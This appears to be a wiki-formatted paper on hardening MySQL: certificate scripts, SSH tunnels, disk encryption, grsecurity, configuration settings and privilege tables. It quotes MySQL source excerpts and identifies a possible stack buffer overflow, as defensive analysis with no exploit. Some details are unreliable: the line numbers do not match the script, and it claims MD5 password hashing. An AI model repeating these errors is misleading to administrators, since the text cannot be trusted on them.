Since &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; can be seen as an old-school pseudo-virtualisation, just keeping the MySQL server in a sandbox of an existing system, modern approaches have shown that virtualization and para-virtualization are leading the way of running multiple operating system kernels on one machine.&lt;br /&gt;
&lt;br /&gt;
Therefore, there is no need of creating a sandbox, since every server-system may run in a completely isolated full featured Unix system, while all of these (virtual) servers are run on one single physical server.&lt;br /&gt;
&lt;br /&gt;
The most common ways of aquiring an virtual server environment are currently the open-source project Xen as well as the comparable closed-source software VMWare ESX Server. Basically, those projects provide a so called Hypervisor, which can be seen as an additional abstraction layer, between the system’s hardware and the operating sytstem’s kernels. The hypervisor manages to devide the system resources by the running kernels, independent on which operating systems are used above the hypervisor, without producing much overhead in comparison to natively running the virtualized operating systems.&lt;br /&gt;
&lt;br /&gt;
Since the installation of MySQL on a virtual server is done exactly like a normal installation, I won’t provide more information on this topic within this paper, but I’d refer to [SBZD07].&lt;br /&gt;
&lt;br /&gt;
Another way of performing system restrictions are security suites like the NSA SELinux, as well as Novell AppArmor. Those applications aim to spy and re- strict the behaviour of certain programs and what they are trying to perform on the filesystem as well as via system calls.&lt;br /&gt;
&lt;br /&gt;
== Cryptographic appliances ==&lt;br /&gt;
=== Encrypting network traffic ===&lt;br /&gt;
&lt;br /&gt;
For encrypting network traffic, there are several differnet ways. One may use&lt;br /&gt;
* OpenSSL as MySQL's built-in cryptosystem,&lt;br /&gt;
* OpenSSH as external tunneling application, or&lt;br /&gt;
* OpenVPN tunneling.&lt;br /&gt;
&lt;br /&gt;
All cryptographic implementations are available for every platform MySQL is capable of, and all three use strong encryption. Using OpenSSL deserves some MySQL internal configuration, and is based on certificates. This may be a good choice if there already is a public-key-infrastructure (PKI) available.&lt;br /&gt;
&lt;br /&gt;
OpenVPN provides a link between two trusted private networks, over an untrusted (mostly non-private) network (normally the Internet). This needs an OpenVPN gateway server, which should commonly not be run on the same machine as the MySQL daemon does due to security reasons. Setting up an VPN tunnel is normally done to encrypt the whole network traffic between two parties, and deserves deeper knowledge of configuring a VPN gateway. Therefore, I won’t provide information on this variant, which can be obtained from [BLTR06].&lt;br /&gt;
&lt;br /&gt;
An OpenSSH tunnel is easy to setup and maintain, as well as secure and well-known to most Unix users.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSL ====&lt;br /&gt;
For using OpenSSL encryption, the MySQL server has to be capable of understanding OpenSSL. Most standard MySQL packages of the common Linux distributions already offer OpenSSL-enabled MySQL services out of the box. If not, you may compile the sources of MySQL manually and run the &amp;lt;tt&amp;gt;configure&amp;lt;/tt&amp;gt; script with the option &amp;lt;tt&amp;gt;--with-vio --with-openssl&amp;lt;/tt&amp;gt;. OpenSSL activation forces the environment variable have_openssl to be set to &amp;lt;tt&amp;gt;YES&amp;lt;/tt&amp;gt;. This can be checked by&lt;br /&gt;
      mysql &amp;gt; SHOW VARIABLES LIKE ’%openssl%’;&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | Variable_name | Value |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | have_openssl  | YES   |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
&lt;br /&gt;
Since the OpenSSL encryption implementation of MySQL sustains upon certificates, we need to create&lt;br /&gt;
* a Certificate Authority (CA) key and certificate,&lt;br /&gt;
* a server encryption key, as well es a server certificate request,&lt;br /&gt;
* a client encryption key, as well as a client certificate request.&lt;br /&gt;
&lt;br /&gt;
The following shellscript will do this for us (OpenSSL binaries have to be installed):&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 DIR=`pwd`/openssl&lt;br /&gt;
 PRIV=$DIR/private&lt;br /&gt;
 mkdir $DIR $PRIV $DIR/newcerts&lt;br /&gt;
 cp /usr/lib/ssl/openssl.cnf $DIR&lt;br /&gt;
 replace ./demoCA $DIR -- $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -x509 -keyout $PRIV/cakey.pem &lt;br /&gt;
   -out $DIR/cacert.pem -config $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -keyout $DIR/server-key.pem &lt;br /&gt;
   -out $DIR/server-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/server-key.pem -out $DIR/server-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/server-cert.pem -config $DIR/openssl.cnf -infiles $DIR/server-req.pem&lt;br /&gt;
 openssl req -new -keyout $DIR/client-key.pem&lt;br /&gt;
   -out $DIR/client-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/client-key.pem -out $DIR/client-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/client-cert.pem -config $DIR/openssl.cnf -infiles $DIR/client-req.pem&lt;br /&gt;
&lt;br /&gt;
Lines 1 - 6 create a useable directory structure for storing the resulting keys and&lt;br /&gt;
certificates. Be sure to call this script from a safe location; keys are normally stored&lt;br /&gt;
in /etc/mysql/keys or something similar.&lt;br /&gt;
&lt;br /&gt;
Line 7 and 8 generate a local Certificate Authority for signing the certificates which&lt;br /&gt;
are to be created.&lt;br /&gt;
&lt;br /&gt;
Lines 9 and 10 create an encryption key for the MySQL server and a certificate&lt;br /&gt;
request, which is to be signed afterwards. The certificate will be valid for 3600 days.&lt;br /&gt;
&lt;br /&gt;
Line 11 (and line 16) is optional and would remove the passphrase from the server key. This&lt;br /&gt;
means that it’s not necessary to give the passphrase every time the MySQL server&lt;br /&gt;
is restartet. This behaviour may be seen as security risk, depending on where the&lt;br /&gt;
(unencrypted) key will be stored.&lt;br /&gt;
&lt;br /&gt;
Lines 12 and 13 will sign the previously generated server certificate with our local&lt;br /&gt;
CA instance.&lt;br /&gt;
&lt;br /&gt;
Lines 14 and 25 create a client key and certificate request.&lt;br /&gt;
&lt;br /&gt;
The last lines sign the client certificate with our local CA instance.&lt;br /&gt;
&lt;br /&gt;
We finally have to tell MySQL where our encryption keys and certificates are stored, which is done in my.cnf. We need entries for both, server and client. Note that the client configuration as well as the client and CA certificates have to be available on all clients who wish to encrypt MySQL related network traffic.&lt;br /&gt;
&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/client-cert.pem&lt;br /&gt;
 ssl-key=$DIR/client-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [mysqld]&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/server-cert.pem&lt;br /&gt;
 ssl-key=$DIR/server-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;$DIR&amp;lt;/tt&amp;gt; is to be replaced by the chosen key and certificate directory.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSH ====&lt;br /&gt;
Encrypting network traffic using OpenSSH is done via tunnelling. The advantages of this method are:&lt;br /&gt;
* An existing MySQL configuration has not to be altered&lt;br /&gt;
* There is no administrative overhead for creating and maintaining certificates and keys&lt;br /&gt;
* The tunnel itself is transparant to MySQL since SSH does everything on its&lt;br /&gt;
own&lt;br /&gt;
* Easy setup&lt;br /&gt;
&lt;br /&gt;
However, there are several points which may be seen as disadvantages:&lt;br /&gt;
* The tunnelling mechanism itself has to be done on the client(s), which leads to decentralized administration&lt;br /&gt;
* The calling client(s) require to have a valid system user on the box where the OpenSSH server is running&lt;br /&gt;
* The server machine must run an OpenSSH server (which is the easiest way, but not unconditionally necessary), the clients must have the ssh binary installed&lt;br /&gt;
&lt;br /&gt;
The basic idea is that the &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; binary on the client(s) opens a socket which is bound to a specific port (3307 in the following example). &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; encrypts all the traffic, coming through this port and sends it to the OpenSSH server which will perform the decryption transparently and redirect the unecrypted traffic to the port, the MySQL server is listening on.&lt;br /&gt;
&lt;br /&gt;
The MySQL TCP connection a client tries to establish, is done to localhost instead of the MySQL server, to the port number bound my &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On the client side, the following command will set up our OpenSSH tunnel:&lt;br /&gt;
 ssh -L 3307:&amp;lt;MySQL server address&amp;gt;:3306 &amp;lt;username&amp;gt;@&amp;lt;OpenSSH server address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The clients can now connect through localhost the get in touch with the MySQL server:&lt;br /&gt;
 mysql -u &amp;lt;mysql_username&amp;gt; -p -h 127.0.0.1 -P 3307 &lt;br /&gt;
&lt;br /&gt;
Note: The OpenSSH server doesn't mandatorily have to run on the same machine as the database server does. If OpenSSH runs on server A and MySQL on server B, we need to set up an packet redirection, which can be done using &amp;lt;tt&amp;gt;iptablest&amp;lt;/tt&amp;gt; on machine A:&lt;br /&gt;
	echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A PREROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j DNAT&lt;br /&gt;
		--to-destination &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A POSTROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		-d &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
The statement in line 1 just activates IP packet forwarding in the Linux kernel. The second command activates traffic redirection from the OpenSSH server (where the &amp;lt;tt&amp;gt;iptables&amp;lt;/tt&amp;gt; rulebase is active) to the MySQL database server. Finally, with the third command, we activate masquerading to ensure that responses of the MySQL server are correctly translated and redirected to the calling host (e.g. the MySQL client).&lt;br /&gt;
&lt;br /&gt;
==== OpenVPN ====&lt;br /&gt;
&lt;br /&gt;
=== Encrypting raw databases on filesystem level ===&lt;br /&gt;
As long as the MySQL server is up and running, and keeping track of incoming queries to provide stored data, the database files have to be unencrypted and readable. It’s primarily the job of the DMBS, to only allow authorized users to read and/or write data of certain tables.&lt;br /&gt;
&lt;br /&gt;
Nevertheless, if a harddisk (including backups, tapes, etc.) gets stolen, the stored data is world-readable from every external system. If needed, encryption can solve this problem. Using encryption on filesystem level is quite easy in nowadays 2.6 Linux kernels.&lt;br /&gt;
&lt;br /&gt;
The following section contains two different approaches for encrypting the filesystem, for the first one is quite Linux specific and the second one will run on Windows, Linux and OSX.&lt;br /&gt;
&lt;br /&gt;
==== Linux: dmcrypt ====&lt;br /&gt;
The following steps need to have &amp;lt;tt&amp;gt;losetup&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;cryptsetup&amp;lt;/tt&amp;gt; installed on the System, as well as a kernel which has been built with &amp;lt;tt&amp;gt;CONFIG_DM_CRYPT&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;CONFIG_BLK_DEV_DM&amp;lt;/tt&amp;gt; support (which most of the current kernels have). Most Unices offer the use of encryption, but most of them are not platform independent.&lt;br /&gt;
&lt;br /&gt;
MySQL stores its data in the &amp;lt;tt&amp;gt;$MYSQL_CHROOT/data&amp;lt;/tt&amp;gt; directory, we will now encrypt. We will proceed with the following steps:&lt;br /&gt;
&lt;br /&gt;
# We generate a file with completely randomized content, with the maximum size of the MySQL storage tables (in the following example, 100MiB). If the reserved space points out to be too few, we can simply create a bigger one and transfer the encrypted data later.&lt;br /&gt;
# We create a new loopback-device, which is capable of handling our crypted data-image as harddisk partition.&lt;br /&gt;
# We connect the loopback-device with a so called crypto-target, which encrypts everything which is written onto the target, and decrypts everything which is read from the target, as long as the crypto-target is enabled.&lt;br /&gt;
# Format the crypted data container with a filesystem of our choice (ReiserFS in this case).&lt;br /&gt;
# Mount the crypted container, as it’s ready to use.&lt;br /&gt;
&lt;br /&gt;
These steps are done via the following commands:&lt;br /&gt;
 # dd if=/dev/urandom of=$MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # losetup /dev/loop0 $MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # cryptsetup -y create mysql_data /dev/loop0&lt;br /&gt;
  Enter passphrase: Passphrase&lt;br /&gt;
  Verify passphrase: Passphrase&lt;br /&gt;
 # mkreiserfs /dev/mapper/mysql_data&lt;br /&gt;
 # mount /dev/mapper/mysql_data $MYSQL_CHROOT/data&lt;br /&gt;
&lt;br /&gt;
Now, before starting up the MySQL database server for everyday use, we have to enforce step 2, 3 and 7. Detailed information about the theoretical backgrounds to cryptography may be found in the wonderful reference of Bruce Schneier [Sch05], as well as [Ert03] and [Wae03]. Information on practical filesystem encryption is found in [Pac05].&lt;br /&gt;
&lt;br /&gt;
==== TrueCrypt ====&lt;br /&gt;
Truecrypt has experienced a large hype in the last years since it's very easy to use, focussed for desktop systems and has a graphical user interface. Nevertheless, my own benchmark tests have proven that TrueCrypt's performance is much slower than &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, and the data throughput stagnates at about 40% of what &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt; is capable in terms of performance (this has been tested on an Intel Core2 Duo, 2 x 3.2 GHz, 2GiB RAM on SATA2 harddisks using Linux 2.6.23).&lt;br /&gt;
&lt;br /&gt;
The installation of Truecrypt is quite easy since precompiled binaries are available for all supported platforms, including Linux binaries as well as Debian (and Ubuntu) packages.&lt;br /&gt;
&lt;br /&gt;
When starting the software, an easy-to-use graphical dialog appears which should be quite self-explementory.&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, also Truecrypt offers two possibilities of creating encrypted volumes:&lt;br /&gt;
* Format a whole partition which is to be filled with encrypted content, or&lt;br /&gt;
* creating a fixed-size container achive file; this file will again be looped back to a pseudo-device which can be accessed by the operating system just like a normal partition.&lt;br /&gt;
&lt;br /&gt;
Interestingly, the latter is the faster alternative, according to the corresponding article on the German IT online news magazine heise.de.&lt;br /&gt;
&lt;br /&gt;
=== Non-realtime encryption routines for database backups ===&lt;br /&gt;
&lt;br /&gt;
== Protection against stack-smashing and other memory corruption attacks ==&lt;br /&gt;
&lt;br /&gt;
=== The main problem with memory ===&lt;br /&gt;
Since MySQL has been written in C (and partly C++), the code is implicitly based upon pointer arithmetics and therefore offers a broad spectrum of possible buffer-overflow vulnerabilities. The most common form of buffer overlows are stack-based smashing attacks, since they're normally much easier to produce than heap-based overflows.&lt;br /&gt;
&lt;br /&gt;
Todays high-level programming languages like Java and C\# follow a conceptional hiding of pointers to the developer, which, spoken generally, leads to more secure code since overflows nearly always sustain upon exploitable pointer structures. Nevertheless I'm going to figure out some possibly insecure code-snippes of the current MySQL version, before describing howto avoid attacks on them.&lt;br /&gt;
&lt;br /&gt;
Here's an outtake of &amp;lt;tt&amp;gt;mysql-5.0.45/libmysql/libmysql.c:693&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 my_bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db) {&lt;br /&gt;
  char buff[512],*end=buff;&lt;br /&gt;
  int rc;&lt;br /&gt;
  DBUG_ENTER(&amp;quot;mysql_change_user&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  if (!user)&lt;br /&gt;
    user=&amp;quot;&amp;quot;;&lt;br /&gt;
  if (!passwd)&lt;br /&gt;
    passwd=&amp;quot;&amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  /* Store user into the buffer */&lt;br /&gt;
  end=strmov(end,user)+1;&lt;br /&gt;
&lt;br /&gt;
This code is always executed when the calling application intends to change the current MySQL (DBMS-) user. Like shown in line 4, memory for a character buffer &amp;lt;tt&amp;gt;buff&amp;lt;/tt&amp;gt; is statically allocated with a size of 512 bytes. When strings have to be passed to a function, C only passes pointers to the beginning of the string, which should be terminated by a NULL-byte (00000000 binary), to indicate where the string ends. The function &amp;lt;tt&amp;gt;strmov&amp;lt;/tt&amp;gt; at line 14, which does basically the same like ANSI &amp;lt;tt&amp;gt;strcpy&amp;lt;/tt&amp;gt;, copies the username (passed to &amp;lt;tt&amp;gt;mysql_change_user()&amp;lt;/tt&amp;gt;) in the allocated buffer. However, since the size of the corresponding username has never been checked to be less than 512 bytes, this code represents a classical stack-based buffer overflow.&lt;br /&gt;
&lt;br /&gt;
Moreover, C doesn't has a built-in exception management. If a function fails, is in most cases only shown by the return value. Therefore, not checking the return values of certain, possibly critical, and especially memory mapping functions can be very dangerous and may lead to segmentation faults. The following piece of code shows this (&amp;lt;tt&amp;gt;mysql-5.0.45/innobase/log/log0recv.c:3081&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 log_dir_len = strlen(log_dir);&lt;br /&gt;
 /* reserve space for log_dir, &amp;quot;ib_logfile&amp;quot; and a number */&lt;br /&gt;
 name = memcpy(mem_alloc(log_dir_len + ((sizeof logfilename) + 11)), log_dir, log_dir_len);&lt;br /&gt;
 memcpy(name + log_dir_len, logfilename, sizeof logfilename);&lt;br /&gt;
&lt;br /&gt;
This code is part of the InnoDB sources, which attempts to be an journaling ACID-compatible database backend. The developer wants to put the &amp;lt;tt&amp;gt;log_dir&amp;lt;/tt&amp;gt; string into a newly created buffer called &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt;. The memory allocation of &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt; is done within the &amp;lt;tt&amp;gt;memcpy&amp;lt;/tt&amp;gt; call, and the return value is not checked against 0, which would indicate that the memory allocation has failed. In such a situation, the MySQL database server process will probably get killed by the System, since writing to unallocated memory normally leads to a segmentation fault.&lt;br /&gt;
&lt;br /&gt;
=== Possible solutions: grsecurity under Linux ===&lt;br /&gt;
One possible solution to this problem is &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt;. This software package introduces a couple of patches for the Linux kernel. The most valuable one for our purposes is &amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt; provides some very desirable functionalities, including:&lt;br /&gt;
* Flagging of certain memory areas (such as the stack of processes) as non-executable. This helps very much since most memory attacks force to corrupt the stack, for this is a quite easy way as compared to exploit vulnerable heap segmets. This means that an exploitation attempt will possibly corrupt the stack, but will not be able to execute arbitrary code, which kind-of guarantees the system's integrity. (However, memory corruptions may lead to software misbehaviour and denial of service).&lt;br /&gt;
* Flagging of memory areas which contain executable machine code as non-writeable. This prevents attacks which are trying to directly access and modify the process' code segment for taking over the execution flow.&lt;br /&gt;
* Providing of ASLR, what means Address Space Layout Randomization. This makes exploitation itself much harder, since most exploits rely on the knowledge of return addresses on the stack (in fact, in most cases, the return pointers of a running procedure which should be overwritten is only estimated; with ASLR, the estimation will be much harder).&lt;br /&gt;
&lt;br /&gt;
Another feature of &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; is Role Based Access Control, what we will not inspect in deeper detail here.&lt;br /&gt;
&lt;br /&gt;
The whole set of patches can be obtained from the [http://www.grsecurity.net/download.php grsecurity] website. The application of the &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; patchset must be done according to the kernel version which should be patched, before recompiling the kernel itself.&lt;br /&gt;
&lt;br /&gt;
The following code demonstrates the download and patching procedure for Linux kernel 2.6.17.7 and &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; 2.1.9.&lt;br /&gt;
&lt;br /&gt;
 cd /usr/src&lt;br /&gt;
 wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2&lt;br /&gt;
 wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz&lt;br /&gt;
 tar -xjvf linux-2.6.17.7.tar.bz2&lt;br /&gt;
 gunzip &amp;lt; grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0&lt;br /&gt;
&lt;br /&gt;
Afterwards, the kernel (and possibly modules) has to be configured and recompiled as normal. The &amp;lt;tt&amp;gt;grsecurityt&amp;lt;/tt&amp;gt;-related options can be found in the section '''Security''' -&amp;gt; '''grsecurity''', which offers several levels of security.&lt;br /&gt;
&lt;br /&gt;
== Security related configuration attributes ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file may contain a rich set of possible configuration attributes and values, which can change the behaviour of the MySQL server dramatically. The whole file is basically split up into a couple of different sections, each describing the configuration of a specific MySQL executable which is written within brackets, e.g. &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mysqldump&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;client&amp;lt;/tt&amp;gt;, etc. We will further focus on &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; only. The whole set of configuration attributes can be achieved in the MySQL sample configuration files, usually found in &amp;lt;tt&amp;gt;$MYSQL/support-files/&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Connectivity ===&lt;br /&gt;
Securing a database server strongly depends on what is expected from the server. One of the most important questions is the need for remote access to the service. If our database server is just needed by local services, we can achieve a very effective security enhancement by disabling TCP/IP networking of our MySQL instance. This is done by activating the &amp;lt;tt&amp;gt;skip-networking&amp;lt;/tt&amp;gt; option. If passed, connections are limited to either UNIX sockets or named pipes.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;max_connections&amp;lt;/tt&amp;gt; defines the maximum of concurrent connections to the server. Note that one of the given amount is always reserved for users with SUPER privileges. Related to this, &amp;lt;tt&amp;gt;max_connect_errors&amp;lt;/tt&amp;gt; defines the maximum of errors which may result upon or during connection establishment per user, before he/she is being banned. Setting this value to about 10 should prevent brute-force attacks.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
Turning on the &amp;lt;tt&amp;gt;log&amp;lt;/tt&amp;gt; parameter, makes MySQL enable full query logging. This means, that every MySQL query (even ones with incorrect syntax) is getting logged. This is either good for debugging reasons on the one hand, and very interesting on detecting certain database attacks like SQL-injections on the other hand.&lt;br /&gt;
&lt;br /&gt;
=== Transactions and ACIDness ===&lt;br /&gt;
&amp;lt;tt&amp;gt;transaction_isolation&amp;lt;/tt&amp;gt; defines how MySQL is reacting, if &amp;lt;tt&amp;gt;SELECT&amp;lt;/tt&amp;gt; statements are queried upon possibly uncommitted rows and/or tables (dirty read ). From the security perspective, it’s advisable that this value is set to &amp;lt;tt&amp;gt;REPEATABLE-READ&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;SERIALIZABLE&amp;lt;/tt&amp;gt;, since both ensure ACID-compatiblity.&lt;br /&gt;
&lt;br /&gt;
To guarantee ACID compliance, the instance of MySQL has to use a backend, supporting transactions. This is normally done via the InnoDB engine, so it’s a good idea to set &amp;lt;tt&amp;gt;default_table_type&amp;lt;/tt&amp;gt; to InnoDB. The probably most important factor due to the performance of this storing engine, is the &amp;lt;tt&amp;gt;innodb_buffer_pool_size&amp;lt;/tt&amp;gt;, which caches indexes and row data of InnoDB tables. On a pure high-performance database server, MySQL AB recommends to set this value up to 80% of the available physical memory. In a maximum address-space of 4GiB on a 32 bit architecture, this value may reach more than 3GiB of memory.&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
The MySQL syntax defines a &amp;lt;tt&amp;gt;LOAD DATA&amp;lt;/tt&amp;gt; statement, which provids reading files directly from the filesystem into a table. This command can be very useful for certain administration tasks, but does offer a high potential of attacks. The use of this statement can be prevented by setting &amp;lt;tt&amp;gt;load-infile&amp;lt;/tt&amp;gt; to 0 in the configuration file.&lt;br /&gt;
&lt;br /&gt;
== Inside MySQL: DBMS' access control and privilege management ==&lt;br /&gt;
=== General management table structures ===&lt;br /&gt;
&lt;br /&gt;
MySQL has a built-in access control and privilege management, once more implemented as a relational model in a separate database. Even after freshly installing a database instance, MySQL automatically creates the mysql database which holds 6 tables – 5 of them play a certain role of whether a user is allowed to access database objects (table, row, column, etc) or not. Those access rules may be built upon username, connecting host or the requested database.&lt;br /&gt;
&lt;br /&gt;
[[Image:Mysql_access_control.png|thumb|290px|Schematic presentation of the DMBS' internal accounting and management procedures, as executed by the MySQL database server.]]&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
&lt;br /&gt;
The user table is the most important one, since it (besides numerous other things) defines users, their passwords, and the hosts they are allowed to connect from, so are the first 3 columns. The host column also accepts wildcards, like % as the regular expression (.*). The password is never stored in plain text, but normally hashed via the MD5 algorithm. Note that a user/host-pair is used as primary key.&lt;br /&gt;
&lt;br /&gt;
After those initial values, the user table is followed by about two dozen boolean values, giving a more granular description of the permissions granted to the user. The names, like &amp;lt;tt&amp;gt;Insert_priv&amp;lt;/tt&amp;gt;, &amp;lt;/tt&amp;gt;Update_priv&amp;lt;/tt&amp;gt;, etc. are self-speaking. Since those rights have no restriction to certain tables or databases, they should be avoided and set to N, whereever possible, for using more restricting levels of access.&lt;br /&gt;
&lt;br /&gt;
When a query is being processed, the permissions of the user table are checked at first, and the query is immediately granted if the user has sufficient permissions on this layer. The following listing completes the available columns of the user table:&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; use mysql;&lt;br /&gt;
 Database changed&lt;br /&gt;
 mysql&amp;gt; desc user;&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Field                 | Type           | Null | Key |&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Host                  | char(60)       | NO   | PRI |&lt;br /&gt;
 | User                  | char(16)       | NO   | PRI |&lt;br /&gt;
 | Password              | char(41)       | NO   |     |&lt;br /&gt;
 | Select_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Insert_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Update_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Delete_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Drop_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Reload_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Shutdown_priv         | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Process_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | File_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Grant_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | References_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Index_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_db_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Super_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_tmp_table_priv | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Lock_tables_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Execute_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_slave_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_client_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_view_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_view_priv        | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_routine_priv   | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_routine_priv    | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_user_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | ssl_type              | enum('','ANY','X509','SPECIFIED') | NO   |     |&lt;br /&gt;
 | ssl_cipher            | blob             | NO   |&lt;br /&gt;
 | x509_issuer           | blob             | NO   |&lt;br /&gt;
 | x509_subject          | blob             | NO   |&lt;br /&gt;
 | max_questions         | int(11) unsigned | NO   |&lt;br /&gt;
 | max_updates           | int(11) unsigned | NO   |&lt;br /&gt;
 | max_connections       | int(11) unsigned | NO   |&lt;br /&gt;
 | max_user_connections  | int(11) unsigned | NO   |&lt;br /&gt;
 +-----------------------+------------------+------+&lt;br /&gt;
 37 rows in set (0.01 sec)&lt;br /&gt;
&lt;br /&gt;
As listed, &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; additionally defines four columns related to cryptographic methods&lt;br /&gt;
like ciphers and certificates, and four columns used for user-specific limitations on&lt;br /&gt;
the database, we will inspect later.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table is checked (only), if the user table doesn’t define enough permissions for a user to fully process the query. db again defines username, connecting host, and numerous privileges on a certain database, given by the column &amp;lt;tt&amp;gt;Db&amp;lt;/tt&amp;gt;. This table is only processed, if&lt;br /&gt;
# the user doesn’t has sufficient permissions in the user table, and&lt;br /&gt;
# the user wants to set up a query on a database, defined in the db table.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;host&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
This is basically the same as the db table, but acting on actual hosts, the query may come from and may be restricted to.&lt;br /&gt;
&lt;br /&gt;
